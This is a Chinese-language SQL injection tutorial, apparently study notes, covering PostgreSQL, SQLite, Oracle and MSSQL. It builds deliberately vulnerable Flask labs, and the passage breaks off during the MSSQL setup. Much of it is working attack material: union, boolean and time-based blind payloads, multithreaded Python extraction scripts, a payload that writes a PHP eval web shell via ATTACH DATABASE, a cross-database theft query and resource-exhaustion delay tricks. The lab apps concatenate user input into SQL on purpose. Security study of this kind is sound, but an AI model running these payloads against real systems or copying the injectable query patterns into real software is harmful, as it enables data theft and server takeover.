# 时间盲注

用到的函数和条件判断语句：

pg_sleep()
case when ... then ... else ... end;

逻辑也是与MySQL相同

?id=1; select case when (current_user = 'postgres') then pg_sleep(5) else pg_sleep(0) end;--

如果不能使用堆叠注入的话也可以把pg_sleep()放在and条件里面

?id=1 and 1=(case when substring(current_database(),1,1)='p' then (select 1 from pg_sleep(3)) else 1 end) --

?id=1 and 1=(case when substring((select nspname from pg_namespace limit 1 offset 4),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断schema第一个字符为f
?id=1 and 1=(case when substring((select relname from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1 offset 0),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断table第一个字符为f
?id=1 and 1=(case when substring((select attname from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1 offset 3),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断列名第一个字符为f
?id=1 and 1=(case when substring((select flag2 from "flag".flag),1,1)='Z' then (select 1 from pg_sleep(3)) else 1 end) --
# 判断flag2里存储内容第一个字符为Z

# 脚本探测

可以看到如果想要手动盲注的话那一个一个写未必也太麻烦了，我们试试写两个python脚本探测吧：

布尔盲注：

import requests
import threading

url = "http://localhost:5000/user"

chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]"

result = ""

target = "select current_database()"

max_threads = 10

for position in range(1, 101):
    found = {
        "char": None
    }

    lock = threading.Lock()
    stop_event = threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return

        payload = f"1 and substring(({target}),{position},1)='{ch}' -- "

        try:
            response = requests.get(
                url,
                params={"id": payload},
                timeout=3
            )

            if "admin" in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"] = ch
                        stop_event.set()

        except requests.RequestException:
            pass

    threads = []

    for ch in chars:
        t = threading.Thread(target=test_char, args=(ch,))
        threads.append(t)
        t.start()

        if len(threads) >= max_threads:
            for t in threads:
                t.join()

            threads = []
            # 把列表清空存储下一列进程

            if stop_event.is_set():
                break

    for t in threads:
        t.join()
        # 最后一批字符集长度不足max_threads所以单独处理

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("读取结束")
        break

print("最终结果:", result)

正常的二重for循环一个一个搜集太慢了，所以加上了线程模块

时间盲注：

import requests
import time
import threading

url="http://localhost:5000/user"

target="select current_database()"

result=""

threshold=3

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]"

max_threads=10

for position in range(1,101):
    found={
        "char":None
    }
    lock = threading.Lock()
    stop_event = threading.Event()
    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload = f"1 and 1=(case when substring(({target}),{position},1)='{ch}' then (select 1 from pg_sleep(5)) else 1 end) -- "

        start=time.perf_counter()
        try:
            response=requests.get(url,params={"id":payload})
            
            end=time.perf_counter()

            cost = end-start
            if cost>threshold:
                with lock:
                    if found["char"] is None:
                        found["char"] = ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads = []

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads = []

            if stop_event.is_set():
                break
    for t in threads:
        t.join()

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("请求结束")
        break

print(result)

时间盲注相对于布尔盲注就会慢一些了

# SQLite

# 数据库架构以及核心字段名

SQLite通常没有独立数据库服务进程，它是一个嵌入式数据库，它的层级是：

数据库文件
  ↓
main 数据库
  ↓
表 / 视图 / 索引 / 触发器
  ↓
列 / 行

其查询路径：

应用程序
  ↓
SQLite 库
  ↓
SQL Parser
  ↓
Code Generator
  ↓
Virtual Database Engine, VDBE
  ↓
B-Tree / Pager
  ↓
数据库文件

结构大致是：

app.db
├── users
├── products
├── orders
├── comments
└── sqlite_schema

可以理解为这一个app.db文件就是一个数据库，里面有很多张表，每个表里面有很多列和行

SQLite默认主数据库是main，如果使用临时表还有temp，如果使用ATTACH DATABASE附加其他数据库文件还可能出现其他数据库名，所以SQLite完整对象名可能是main.users，但大多数情况下只能看到users

SQLite的SQL查询执行路径可以理解为：

应用程序调用 SQLite API
  ↓
sqlite3_prepare_v2()
  ↓
SQL Parser 解析 SQL
  ↓
生成语法树
  ↓
生成 VDBE 字节码
  ↓
sqlite3_step() 执行字节码
  ↓
B-Tree 模块查找数据
  ↓
Pager 模块读取页面
  ↓
操作系统读取 .db 文件
  ↓
返回结果给应用程序

SQLite里面有一个很重要的组件：VDBE（Virtual Database Engine）可以理解为SQLite自己的SQL虚拟机

SQLite的元数据表

SQLite里面最重要的元数据表是sqlite_schema，旧资料里经常叫sqlite_master

sqlite_schema里面主要有这些字段：

type
# 记录对象类型，比如table表，index索引，view视图，trigger触发器，类似于pg_class.relkind
name
# 对象的名，例如表名或者索引名，类似于pg_class.relname
tbl_name
# 该对象所属的表名
rootpage
# B-Tree根页，该对象在数据库文件中的根页编号（底层存储结构，安全测试中通常用不到）
sql
# 以纯文本形式记录了当初创建这个对象时的DDL语句，在旧版SQLite注入中，因为没有专门的列名表，大家都是通过读取这个sql字段，利用正则或肉眼从CREATE TABLE语句中提取出所有的列名（比如id, username, password）

PRAGMA函数库：为了更结构化地获取“列”的元数据（类似于PG的information_schema.columns或pg_attribute），SQLite提供了特有的PRAGMA指令，在较新版本的SQLite中可以把PRAGMA当作表值函数在select中调用，核心表值函数：pragma_table_info('表名')

# 核心字段解析：
cid
# 列的ID，从0开始递增
name
# 列名，如id,username，相当于pg_attribute.attname
type
# 列的数据类型，如INTEGER、VARCHAR(50)、TEXT
notnull
# 是否允许为空（1表示NOT NULL，0表示允许为空）
dflt_value
# 列的默认值
pk
# 该列是否为主键的一部分（0表示不是，1、2等数字表示在复合主键中的顺序）

# 本地搭建靶场测试

首先创建一个sqlite_lab.py文件，SQLite是Python自带的内置库(sqlite3)，所以只需要安装一个Flask即可

python3 -m pip install flask

将以下代码复制到sqlite_lab.py里面：

import sqlite3
from flask import Flask, request

app = Flask(__name__)

# 1. 初始化本地 SQLite 数据库
def init_db():
    # 连接到一个本地文件，如果文件不存在会自动创建
    conn = sqlite3.connect(r'E:\OtherSQL\SQLite_lab\vuln_lab.db')
    cursor = conn.cursor()
    
    # 创建用户表
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT,
            password TEXT
        )
    ''')
    
    # 每次启动前清理一下旧数据，防止重复插入
    cursor.execute('DELETE FROM users')
    
    # 插入测试数据
    cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'super_secret_admin_pass')")
    cursor.execute("INSERT INTO users (username, password) VALUES ('guest', '123456')")
    cursor.execute("INSERT INTO users (username, password) VALUES ('flag', 'ZLARYY{SQ7it3_15_r3@l1y_DiffcUlt?}')")
    
    conn.commit()
    conn.close()
    print("[+] Database 'vuln_lab.db' initialized with test data.")

# 2. 存在漏洞的 Web 路由
@app.route('/user')
def get_user():
    username = request.args.get('name')
    
    if not username:
        return "Please provide a name, e.g., ?name=admin"

    # 连接到刚才创建的数据库文件
    conn = sqlite3.connect(r'E:\OtherSQL\SQLite_lab\vuln_lab.db')
    cursor = conn.cursor()

    # ⚠️ 核心漏洞点：直接使用 f-string 将用户输入拼接到 SQL 语句中
    # 注意这里使用了单引号 '{username}' 把输入包起来
    query = f"SELECT id, username, password FROM users WHERE username = '{username}'"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query:</h3><code>{query}</code><hr><h3>Result:</h3><p>{result}</p>"
    except Exception as e:
        # 将报错信息打印到前端，方便进行报错注入测试
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    # 启动应用前先初始化数据库
    init_db()
    # 运行在 5001 端口，防止与之前的实验冲突
    app.run(debug=True, port=5001)

最后执行：

python3 sqlite_lab.py

之后在E:\OtherSQL\SQLite_lab\目录下就会出现一个vuln_lab.db文件，访问http://127.0.0.1/user?name=admin就能看到正常页面

# 注入相关符号和函数

注释符：--或--+，--后面通常需要一个空格才会生效，在URL中常用+或%20代替空格

多行注释：/* ... */，有时候也可以用来代替空格
字符串拼接符：||，SQLite不支持concat()函数
sqlite_version()：获取当前SQLite的版本号
length()：获取参数字符串的字符长度
substr(X,Y,Z)或substring()：从字符串X的Y位置开始截取长度为Z的字符，索引从1开始
unicode()：相当于ascii()函数，返回参数字符串的第一个字符的数字编码
char(x1,x2,...)：相当于unicode()的逆运算，将数字转化为字符
```
char(97, 100, 109, 105, 110)等同于'admin'
```
hex()：将字符串转换为十六进制格式
group_concat(X)或group_concat(X,Y)：将多行数据聚合为单行字符串输出，X为列名，Y为可选分隔符，与MySQL相同
randomblob(N)：生成一个N字节随机Blob（二进制大对象）数据，当给N赋一个非常大的值，比如randomblob(1000000000)，SQLite需要消耗大量的CPU和内存资源去生成这个随机对象，从而导致查询卡顿
zeroblob(N)：生成一个N字节的全零blob数据，同样可用于消耗内存

# union联合注入

?name=admin' order by 3 --+
# order by判断列数

?name=-1' union select 1,sqlite_version(),3 --+
# 查询数据库版本

由于SQLite中没有database和schema的概念，所以可以通过元数据表sqlite_master来查询所有的表名

?name=-1' union select 1,name,3 from sqlite_master where type='table'--+

之后我们可以通过sql字段查询之前建表的语句从而查询列名：

?name=-1' union select 1,name,sql from sqlite_master where type='table'--+

得到users表里面的列有id、username、password

也可以利用pragma查询列：

?name=-1' union select 1,name,3 from pragma_table_info('users') --+

由于group_concat()函数不支持三个参数所以可以实现分别查询username列和password列：

?name=-1' union select 1,(select group_concat(username,'~') from users),sql from sqlite_master where type='table'--+

也可以：

?name=-1' union select id,username,password from users --+

?name=-1' union select 1,(select group_concat(username||"~"||password,',') from users),3 from users --+

# 布尔盲注

原理其实也和之前的一样，利用length()、unicode()、hex()等函数进行挨个字符的判断

admin' AND substr((SELECT password FROM users WHERE username='flag'),1,1)='Z' -- 
# 用上unicode()等函数是便于二分法快速找到字符

那还是直接给个脚本吧：

import requests
import threading

url="http://127.0.0.1:5001/user"

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"

result=""

max_threads=10

target="select password from users where username='flag'"

for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and substr(({target}),{position},1)='{ch}' --+"
        try:
            response=requests.get(url,params={"name":payload})
            if 'super' in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads = []

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result += found["char"]
        print(result)
    else:
        print("请求结束")
        break

print(result)

# 伪时间盲注

SQLite中没有sleep()和pg_sleep()函数，只能使用randomblob()实现大计算延迟：

?name=admin' and case when substr((select name from sqlite_master),1,1)='u' then length(randomblob(10000000)) else 1 end --+

但是这种方式极其不稳定，受机器性能影响很大，所以不太建议使用这个方法，就不过多赘述了

# SQL写马

SQL写马利用的是attach database这个东西，还要用上堆叠注入，但是靶场好像不允许一次执行多条命令，显示You can only execute one statement at a time.

给给payload吧：

?name='; ATTACH DATABASE 'E:\OtherSQL\SQLite_lab\shell.php' AS a; CREATE TABLE a.c (d text); INSERT INTO a.c (d) VALUES ('<?php eval($_POST[1]);?>'); --

在https://xiexie-qiuligao.github.io/2026/02/09/sql/的文章中还提到了一个跨库窃取，需要已知秘密`.db`文件的路径：

ATTACH DATABASE '/var/data/admin_secret.db' AS target;

UNION SELECT 1, password, 3 FROM target.admin_table;

# Oracle

# 数据库架构以及核心字段名

Oracle的整体结构可以理解为：

Oracle Database
  ↓
User / Schema
  ↓
Table / View / Sequence / Procedure / Package
  ↓
Column / Row

Oracle中最重要的一点是：

User ≈ Schema

比如创建了一个用户：

CREATE USER HR IDENTIFIED BY password;

这个HR也可以代表一个schema，在对HR创建一张表employees的话这张表的完整名称可以是HR.employees，另外Oracle默认会把未加双引号的对象名转成大写

Oracle没有information_schema也没有sqlite_master，它用的是数据字典视图，最常见的是：

USER_*
# 表示当前用户自己拥有的对象
例如：SELECT table_name FROM user_tables;
Oracle官方文档说明，USER_TABLES描述的是当前用户拥有的关系表，而且它的列与ALL_TABLES基本相同，只是不显示OWNER列
常见视图：
USER_TABLES
USER_TAB_COLUMNS
USER_OBJECTS
USER_VIEWS
USER_SEQUENCES

ALL_*
# 表示当前用户有权限访问的对象
例如：SELECT owner, table_name FROM all_tables;
Oracle官方文档说明，ALL_TABLES描述的是当前用户可访问的关系表；相关视图中，USER_TABLES描述当前用户拥有的表，DBA_TABLES描述数据库中所有的关系表
常见视图：
ALL_TABLES
ALL_TAB_COLUMNS
ALL_OBJECTS
ALL_VIEWS

DBA_*
# 表示数据库管理员视角下的所有对象
例如：SELECT owner, table_name FROM dba_tables;
但普通用户通常没有权限查DBA_*，Oracle官方文档说明，DBA_TABLES描述数据库中所有的关系表

V$* 动态性能视图
例如：
V$VERSION
V$DATABASE
V$SESSION
V$INSTANCE
这类视图通常和数据库运行状态，会话，实例信息有关，普通用户不一定有权限访问

Oracle中很特殊的一点是很多select常量或函数时必须要FROM DUAL

SELECT 1 FROM dual;
SELECT USER FROM dual;
SELECT SYSDATA FROM dual;

Oracle官方文档说明，DUAL是Oracle自动创建的数据字典表，位于sys schema，但所有用户都可以通过DUAL访问，他只有一行，因此常用于select计算常量表达式

核心数据视图与字段名

all_tables
# 查表名
核心字段：
owner
# 表的所有者，相当于其他数据库的schema或database概念，在oracle中通常一个用户就对应一个schema
table_name
# 表名

all_tab_columns
# 查列名
核心字段：
owner
# 表的所有者
table_name
# 表名
column_name
# 列名
data_type
# 数据类型（如varchar2,number）

all_objects
# 查全局对象，在oracle中，表、视图、索引、存储过程等都被统称为对象，当无法访问al_tables或想查看存储过程时可以查all_objects
核心字段：
owner
# 对象所有者
object_name
# 对象名称（表名、视图名等）
object_type
# 对象类型（'table'、'view'、'procedure'）

查环境与用户信息：

V$VERSION
# 版本信息
核心字段：
banner
# 包含详细版本信息的长字符串
select banner from v$version

GLOBAL_NAME
# 当前数据库名
核心字段：
GLOBAL_NAME
select global_name from global_name

ALL_USERS
# 查所有用户
核心字段：
username
select username from global_name

SYS.USER$或DBA_USERS
# 查密码哈希
oracle对密码哈希的保护极其严格，在早期版本（10g及以前），密码哈希存在dba_users.password中，在11g及以后转移到了更底层的sys.user$password或spare4中，普通人极难获取到

# 本地靶场搭建

docker run -d --name oracle-lab -p 1521:1521 -e ORACLE_PASSWORD=root gvenzl/oracle-xe:slim
# 拉取并运行Oracle 11g或21c的精简版
python3 -m pip install flask oracledb
# 准备python环境

创建一个文件夹在里面创建一个app.py文件，粘贴以下内容：

import oracledb
from flask import Flask, request

app = Flask(__name__)

# Oracle 数据库连接配置 (gvenzl 镜像默认的可插拔数据库名为 XEPDB1)
# 用户名使用自带的 system 管理员
DB_USER = "system"
DB_PASS = "root"
DB_DSN = "localhost:1521/XEPDB1"

def get_db_connection():
    return oracledb.connect(user=DB_USER, password=DB_PASS, dsn=DB_DSN)

def init_db():
    try:
        conn = get_db_connection()
        cursor = conn.cursor()
        
        # 尝试创建测试表。Oracle 没有 IF NOT EXISTS 语法，因此如果表已存在会报错，我们用 try-except 忽略它
        try:
            cursor.execute("""
                CREATE TABLE vuln_users (
                    id NUMBER GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY,
                    username VARCHAR2(50),
                    password VARCHAR2(50)
                )
            """)
            
            # 插入测试数据
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('admin', 'oracle_admin_pass')")
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('guest', '123456')")
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('flag', 'ZLARYY{O3acIe_15_s0_3@sy!!!}')")
            conn.commit()
            print("[+] Database initialized successfully.")
        except oracledb.DatabaseError as e:
            error, = e.args
            # ORA-00955: 名称已由现有对象使用 (说明表已经建好了)
            if error.code == 955:
                pass
            else:
                raise
    finally:
        cursor.close()
        conn.close()

@app.route('/user')
def get_user():
    username = request.args.get('name')
    
    if not username:
        return "Please provide a name, e.g., ?name=admin"

    conn = get_db_connection()
    cursor = conn.cursor()

    # ⚠️ 经典的漏洞点：拼接 SQL 语句。注意 Oracle 严格区分大小写且常用单引号
    query = f"SELECT id, username, password FROM vuln_users WHERE username = '{username}'"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query:</h3><code>{query}</code><hr><h3>Result:</h3><p>{result}</p>"
    except Exception as e:
        # 打印数据库真实报错，这在 Oracle 中是进行“报错注入”的关键
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    # 等待 Docker 启动完毕后运行此脚本
    init_db()
    app.run(debug=True, port=5002)

然后通过下面的命令运行web应用：

python3 app.py

如果访问http://localhost:5002/user?name=admin能看到oracle_admin_pass就成功了

# 相关注释符和函数

注释符：单行注释：--，与其他数据库都相同

多行注释：/* ... */
字符串拼接符：||，与SQLite类似
length()：获取字符串的长度
substr()：截取字符串
ascii()：字符转ascii码
chr()：ascii码转字符
decoder(value,search_value,result1,default_result)：这是Oracle的条件判断函数，如果value等于search_value就返回result1，否则返回default_value，可以在布尔盲注中代替if或case when
报错注入核心函数：
1. utl_inaddr.get_host_address('要查询的数据')：这个函数原本是用来通过主机名查IP的，如果传入一个无效的主机名就会报错，并且显示查询内容
2. ctxsys.drithsx.sn(user,'要查询的数据')：这是一个处理文本的底层函数，传入不符合格式的参数同样会抛出包含参数内容的错误
3. xmltype('<:'||要查询的数据||'>')：当传入无法解析为正常XML格式的字符串时会产生报错回显
延时盲注：
1. dbms_pipe.receive_message('任意字符',延时秒数)：这是Oracle中常用的延时函数，它原本用于管道通信，在这里被当做sleep()使用：
```
and 1=(case when (1=1) then dbms_pipe.receive_message('a',5) else 1 end) --+
```
2. dbms_lock.sleep(秒数)：这个函数十分直观但是绝大多数情况下普通数据库用户没有权限调用它
3. 笛卡尔积运算：如果上述函数都被禁用，可以利用select count(*) from all_objects,all_objects，由于all_objects表通常有几万条记录，将其自身进行交叉连接会产生几亿次运算从而瞬间卡死数据库造成物理上的延时
oracle中没有limit关键字，在oracle 12c及以前必须使用伪列rownum来限制返回行数，由于rownum的特殊机制（先分配行号再进行条件判断），不能直接写where rownum=2，只能写where rownum=1或者使用子查询
```
select table_name from all_tables where rownum=1 and table_name are not in ('已知表名1','已知表名2');
```
oracle 12c以上版本支持fetch first 1 rows only或offset 1 rows fetch next 1 rows only

# union联合注入

Oracle依然可以用order by判断列数

?name=admin' order by 3 --+

也可以使用union试：

?name=admin' UNION SELECT NULL FROM dual --+
?name=admin' UNION SELECT NULL,NULL FROM dual --+
?name=admin' UNION SELECT NULL,NULL,NULL FROM dual --+

查询当前用户：

?name=a' union select null,user,null from dual --+

确认当前会话上下文：

?name=a' union select null,sys_context('userenv','current_schema'),null from dual --+

SYS_CONTEXT可以读取当前会话上下文信息，比如userenv里面的schema等信息，查到这两个内容都是SYSTEM说明当前连接用户和默认schema都是SYSTEM，SYSTEM是高权限内置管理用户

查所有的的表：

?name=a' union select null,table_name,null from all_tables --+

查当前用户自己拥有的表：

?name=a' union select null,table_name,null from user_tables --+

查当前用户可访问的表：

?name=a' union select NULL,table_name,owner from all_tables --+

这样显示的表特别多的话可以试试：

?name=a' union select NULL,table_name,owner from all_tables where owner in ('SYSTEM')--+

只查询SYSTEM下可访问的表，在本靶场中表名叫做vuln_users

接着继续查字段名：

?name=a' union select NULL,column_name,NULL from all_tab_columns --+

同样可以利用下列字段进行过滤：

?name=a' union select NULL,column_name,owner from all_tab_columns where owner in ('SYSTEM')--+

我们之前提到过没有加双引号的都会自动转成大写，所以我们的表名列名也是转为大写了的：

?name=a' union select NULL,column_name,NULL from user_tab_columns where table_name='vuln_users' --+

用rowname限制行数和not in语句限制查询内容：

?name=a' union select ID,USERNAME,PASSWORD from VULN_USERS where rownum=1 and USERNAME not in ('admin','guest')--

# 时间盲注

利用的原理还是那个逻辑只不过就是换换函数：

?name=admin' and 1=(case when substr((select user from dual),1,1)='S' then dbms_pipe.receive_message('p',5) else 1 end) --+

脚本如下：

import requests
import threading
import time

url = "http://localhost:5002/user"

target="select user from dual"

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"

max_threads=10

result=""

threshold=3

for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and 1=(case when substr(({target}),{position},1)='{ch}' then dbms_pipe.receive_message('p',5) else 1 end) -- "

        start=time.perf_counter()
        try:
            response=requests.get(url,params={"name":payload})
            end=time.perf_counter()

            cost=end-start

            if cost>threshold:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads=[]

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("请求结束")
        break
print(result)

# 布尔盲注

?name=admin' and substr((select user from dual),1,1)='S' --+

我们利用真页面返回oracle来写布尔盲注：

import requests
import threading

url="http://localhost:5002/user"

target="select user from dual"

max_threads=10

result=""

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"
for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and substr(({target}),{position},1)='{ch}' -- "
        try:
            response=requests.get(url,params={"name":payload})
            if 'oracle' in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads=[]

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("请求结束")
        break
print(result)

# SQL server(MSSQL)

# 数据库架构以及核心字段名

SQLServer的对象层级为：

SQL Server Instance
  ↓
Database
  ↓
Schema
  ↓
Table / View / Procedure / Function
  ↓
Column / Row

例如：Company.dbo.Users表示：

Company 数据库
  ↓
dbo schema
  ↓
Users 表

SQL Server里的dbo很常见，它是默认schema

SQL Server里最重要的元数据入口有：

sys.*
# 系统目录视图，SQL Server原生，信息最全
information_schema.*
# SQL标准视图，跨数据库通用，但信息不如sys.*全

INFORMATION_SCHEMA是一种独立于底层系统表的元数据视图，但它只表示对象元数据的一个子集；判断对象schema等更可靠的方式通常是查询sys.objects等系统目录视图。

核心字段

sys.databases
# 存储SQL Server里面所有的SQL Server实例里的数据库
常用字段：
name
# 数据库名
database_id
# 数据库ID
create_date
# 创建时间
compatibility_level
# 兼容级别
collation_name
# 排序规则
state_desc
# 数据库状态
recovery_model_desc
# 恢复模式

sys.databases是数据库级元数据入口，用来列出SQL Server实例中的数据库

sys.schemas
# 存储当前数据库里面所有的schema
name
# schema名
schema_id
# schema ID
principal_id
# schema拥有者ID

SQL Server的schema是对象的命名空间或容器，例如表、视图、过程和函数都可以属于某个schema

sys.tables
# 存储当前数据库里的用户表
name
# 表名
object_id
# 表对象ID
schema_id
# 所属schema ID
create_date
# 创建时间
modify_date
# 修改时间
type
# 对象类型，用户表通常继承自sys.objects
type_desc
# 对象类型描述
is_ms_shipped
# 是否系统对象
temporal_type_desc
# 是否temporal table
max_column_id_used
# 使用过的最大列ID

sys.tables会为当前数据库中的每个用户表返回一行

sys.columns
# 存储表或视图的列信息
name
# 字段名
object_id
# 所属对象ID
column_id
# 字段序号
system_type_id
# 系统类型ID
user_type_id
# 用户类型ID
max_length
# 最大长度
precision
# 精度
scale
# 小数位
collation_name
# 字符排列规则
is_nullable
# 是否允许NULL
is_identity
# 是否自增identity
is_computed
# 是否计算列

sys.tables 会为当前数据库中的每个用户表返回一行

sys.objects
# 当前数据库中几乎所有对象，可以用来查看表、视图、存储过程、函数、触发器等对象
常见对象类型(type)：
u:用户表
v:视图
p:SQL存储过程
FN:标量函数
IF:内联表值函数
TF:标志函数
TR:触发器
PK:主键约束
F:外键约束

sys.tables、sys.views等目录视图会继承sys.objects的通用字段，目录视图之间存在base view和derived view的继承关系，例如sys.tables会返回表特有列以及sys.objects的列。

sys.types
# 把sys.columns里的user_type_id、system_type_id转换成可读类型名
name
# 类型名，例如int,nvarchar
system_type_id
# 系统类型ID
user_type_id
# 用户类型ID
max_length
# 最大长度
precision
# 精度
scale
# 小数位
is_user_defined
# 是否用户自定义类型

sys.indexs
# 可以用来查看表上的索引
name
# 索引名
object_id
# 所属表ID
index_id
# 索引ID
type_desc
# 索引类型
is_unique
# 是否唯一索引
is_primary_key
# 是否主键索引
is_unique_constraint
# 是否唯一约束

# 注入相关符号与函数

注释符：--，单行注释；/* */，多行注释
字符串拼接符：+，a + b
[]：引用对象名：select * from [users];
.：SQL Server里对象完整路径常见是database.schema.table
LIKE：用于模糊匹配
in：判断是否在集合中
is null / is not null：判断空值
db_name()：当前数据库
system_user：当前登录用户
user_name()：当前数据库用户
@@VERSION：版本信息
@@SERVERNAME：服务器名
len()：获取字符串长度
substring()：截取字符串
ascii()：取字符的ASCII码
lower()/upper()：大小写转换
char()：通过ascii码转换为字符
replace()：替换字符串：replace('abcabc','a','x') => xbcxbc
concat()：新版SQL Server支持concat('a','b')，也更常见a + b
convert()：SQL报错注入中常用，convert(int,'abc')
cast()：和convert()类似，cast('abc' as int)
top：SQL Server里面没有LIMIT：select top 1 name from sys.tables;

offset fetch：较新版本支持分页：

ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY

string_agg()：可以实现多行合并
waitfor delay：可以用于时间盲注：waitfor delay '0:0:5'会延迟五秒
if：SQL Server支持if(条件) 语句
is_srvrolmember()：判断是否属于服务器角色
is_member()：判断当前用户是否属于数据库角色
has_perms_by_name()：判断权限

# 本地靶场搭建

首先我们在本地创建一个文件夹，里面放入四个文件：

MSSQL/
├── docker-compose.yml   # 容器编排配置
├── Dockerfile           # Python Web 运行环境配置
├── requirements.txt     # Python 依赖
└── app.py               # 带有漏洞的 Web 代码

然后将以下内容复制进文件：

docker-compose.yml：

version: '3.8'

services:
  db:
    image: mcr.microsoft.com/mssql/server:2022-latest
    environment:
      - ACCEPT_EULA=Y
      - MSSQL_SA_PASSWORD=YourStrong!Passw0rd  # 必须满足 SQL Server 强密码策略
    ports:
      - "1433:1433"

  web:
    build: .
    ports:
      - "5003:5003"
    depends_on:
      - db
    environment:
      - DB_HOST=db
      - DB_USER=sa
      - DB_PASS=YourStrong!Passw0rd

Dockerfile:

FROM python:3.9-slim

# 1. 安装基础依赖
RUN apt-get update && apt-get install -y curl apt-transport-https gnupg2 unixodbc-dev && \
    # 2. 使用新版推荐的 gpg 方式添加微软密钥（修复 apt-key 报错）
    curl -fsSL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor -o /usr/share/keyrings/microsoft-prod.gpg && \
    # 3. 添加适配 Debian 12 的微软源
    curl -fsSL https://packages.microsoft.com/config/debian/12/prod.list > /etc/apt/sources.list.d/mssql-release.list && \
    # 4. 更新源并安装 msodbcsql18
    apt-get update && ACCEPT_EULA=Y apt-get install -y msodbcsql18 && \
    apt-get clean

WORKDIR /app

# 安装 Python 依赖
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# 复制应用代码
COPY app.py .

# 启动 Flask 服务
CMD ["python3", "app.py"]

requirements.txt：

flask==3.0.0
pyodbc==5.0.1

app,py：

import os
import time
import pyodbc
from flask import Flask, request

app = Flask(__name__)

# 从环境变量中读取数据库配置（由 docker-compose 传入）
DB_HOST = os.environ.get('DB_HOST', 'localhost')
DB_USER = os.environ.get('DB_USER', 'sa')
DB_PASS = os.environ.get('DB_PASS', 'YourStrong!Passw0rd')
DRIVER = '{ODBC Driver 18 for SQL Server}'

# 基础连接字符串（连接到 master 库用于初始化，ODBC 18 必须加 TrustServerCertificate=yes）
BASE_CONN_STR = f"DRIVER={DRIVER};SERVER={DB_HOST};UID={DB_USER};PWD={DB_PASS};TrustServerCertificate=yes;"
# 业务连接字符串（连接到靶场库）
APP_CONN_STR = f"DRIVER={DRIVER};SERVER={DB_HOST};DATABASE=SQLiLab;UID={DB_USER};PWD={DB_PASS};TrustServerCertificate=yes;"

def init_db():
    print("[*] 等待 SQL Server 启动并接受连接...")
    conn = None
    # 循环等待数据库启动（由于容器启动时差，数据库可能需要十几秒才能对外提供服务）
    for _ in range(30):
        try:
            conn = pyodbc.connect(BASE_CONN_STR, autocommit=True)
            break
        except Exception:
            time.sleep(2)
            
    if not conn:
        print("[-] 无法连接到数据库，请检查 Docker 日志。")
        return

    try:
        cursor = conn.cursor()
        # 1. 创建数据库
        cursor.execute("IF NOT EXISTS (SELECT * FROM sys.databases WHERE name = 'SQLiLab') CREATE DATABASE SQLiLab")
        
